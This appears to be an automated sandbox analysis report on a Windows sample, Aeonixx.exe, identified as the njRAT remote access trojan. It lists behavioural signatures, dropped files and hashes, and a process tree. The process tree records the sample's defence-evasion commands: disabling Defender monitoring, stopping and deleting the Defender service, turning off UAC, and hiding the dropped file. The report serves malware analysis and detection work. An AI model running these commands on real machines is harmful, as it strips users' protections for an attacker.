Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/07/2024, 22:23

General

  • Target
    Aeonixx.exe
  • Size 907KB
  • Sample240719-2a56hatalq
  • SHA256 7634e00a8aa848b561d2d18d78b1bd9fb2f02380418fb8b6b8b36ee4a201106f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Aeonixx.exe
    "C:\Users\Admin\AppData\Local\Temp\Aeonixx.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3140
    • C:\Users\Admin\AppData\Local\Temp\AEONIX.EXE
      "C:\Users\Admin\AppData\Local\Temp\AEONIX.EXE"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4972
      • C:\Users\Admin\AppData\Local\Temp\PAYLOAD.EXE
        "C:\Users\Admin\AppData\Local\Temp\PAYLOAD.EXE"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1936
        • C:\Users\Admin\AppData\Local\Temp\dllhost.exe
          "C:\Users\Admin\AppData\Local\Temp\dllhost.exe"
          4⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1424
          • C:\Windows\SysWOW64\attrib.exe
            attrib +h "C:\Users\Admin\AppData\Local\Temp\dllhost.exe"
            5⤵
            • Views/modifies file attributes
            PID:4396
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2528
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell Set-MpPreference -DisableRealtimeMonitoring $true
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4456
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c sc query windefend
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2708
            • C:\Windows\SysWOW64\sc.exe
              sc query windefend
              6⤵
              • Launches sc.exe
              PID:4780
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c sc stop windefend
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3140
            • C:\Windows\SysWOW64\sc.exe
              sc stop windefend
              6⤵
              • Launches sc.exe
              PID:4924
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c sc delete windefend
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2128
            • C:\Windows\SysWOW64\sc.exe
              sc delete windefend
              6⤵
              • Launches sc.exe
              PID:3692
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2248
            • C:\Windows\SysWOW64\reg.exe
              reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
              6⤵
              • UAC bypass
              • Modifies registry key
              PID:116
      • C:\Users\Admin\AppData\Local\Temp\S.EXE
        "C:\Users\Admin\AppData\Local\Temp\S.EXE"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4760
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c pause
          4⤵
            PID:4748

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          AEONIX.EXE

          • Path C:\Users\Admin\AppData\Local\Temp\AEONIX.EXE
          • Size 849KB
          • SHA256 b13a4f5dc328fb50971d5579f8d32ca7af2b9cf5118999e033ff227242a04edd
          • MD5 SHA1 SHA512 SSDEEP

          PAYLOAD.EXE

          • Path C:\Users\Admin\AppData\Local\Temp\PAYLOAD.EXE
          • Size 54KB
          • SHA256 1a82a1b8db2e35e967a2f463292337e08717251b3e836bf1ffa20815b25037c9
          • MD5 SHA1 SHA512 SSDEEP

          S.EXE

          • Path C:\Users\Admin\AppData\Local\Temp\S.EXE
          • Size 742KB
          • SHA256 3d860b0b79377ea570b774977ac1d0976a5ce20c3a71ff67a9b91be84384fd9e
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_omouhicb.he0.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_omouhicb.he0.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/1936-23-0x0000000073C32000-0x0000000073C33000-memory.dmp

          memory/1936-25-0x0000000073C30000-0x00000000741E1000-memory.dmp

          memory/1936-26-0x0000000073C30000-0x00000000741E1000-memory.dmp

          memory/1936-36-0x0000000073C30000-0x00000000741E1000-memory.dmp

          memory/4456-52-0x0000000005EC0000-0x0000000005EDE000-memory.dmp

          memory/4456-66-0x0000000006EC0000-0x0000000006F63000-memory.dmp

          memory/4456-41-0x0000000005890000-0x00000000058F6000-memory.dmp

          memory/4456-40-0x00000000057B0000-0x0000000005816000-memory.dmp

          memory/4456-38-0x0000000004FD0000-0x00000000055F8000-memory.dmp

          memory/4456-51-0x0000000005900000-0x0000000005C54000-memory.dmp

          memory/4456-37-0x00000000048F0000-0x0000000004926000-memory.dmp

          memory/4456-53-0x0000000005F00000-0x0000000005F4C000-memory.dmp

          memory/4456-54-0x00000000064A0000-0x00000000064D2000-memory.dmp

          memory/4456-55-0x000000006EB80000-0x000000006EBCC000-memory.dmp

          memory/4456-65-0x0000000006E90000-0x0000000006EAE000-memory.dmp

          memory/4456-39-0x0000000005650000-0x0000000005672000-memory.dmp

          memory/4456-67-0x0000000007830000-0x0000000007EAA000-memory.dmp

          memory/4456-68-0x00000000071F0000-0x000000000720A000-memory.dmp

          memory/4456-69-0x0000000007260000-0x000000000726A000-memory.dmp

          memory/4456-70-0x0000000007470000-0x0000000007506000-memory.dmp

          memory/4456-71-0x00000000073F0000-0x0000000007401000-memory.dmp

          memory/4456-72-0x0000000007430000-0x000000000743E000-memory.dmp

          memory/4456-73-0x0000000007440000-0x0000000007454000-memory.dmp

          memory/4456-74-0x0000000007530000-0x000000000754A000-memory.dmp

          memory/4456-75-0x0000000007510000-0x0000000007518000-memory.dmp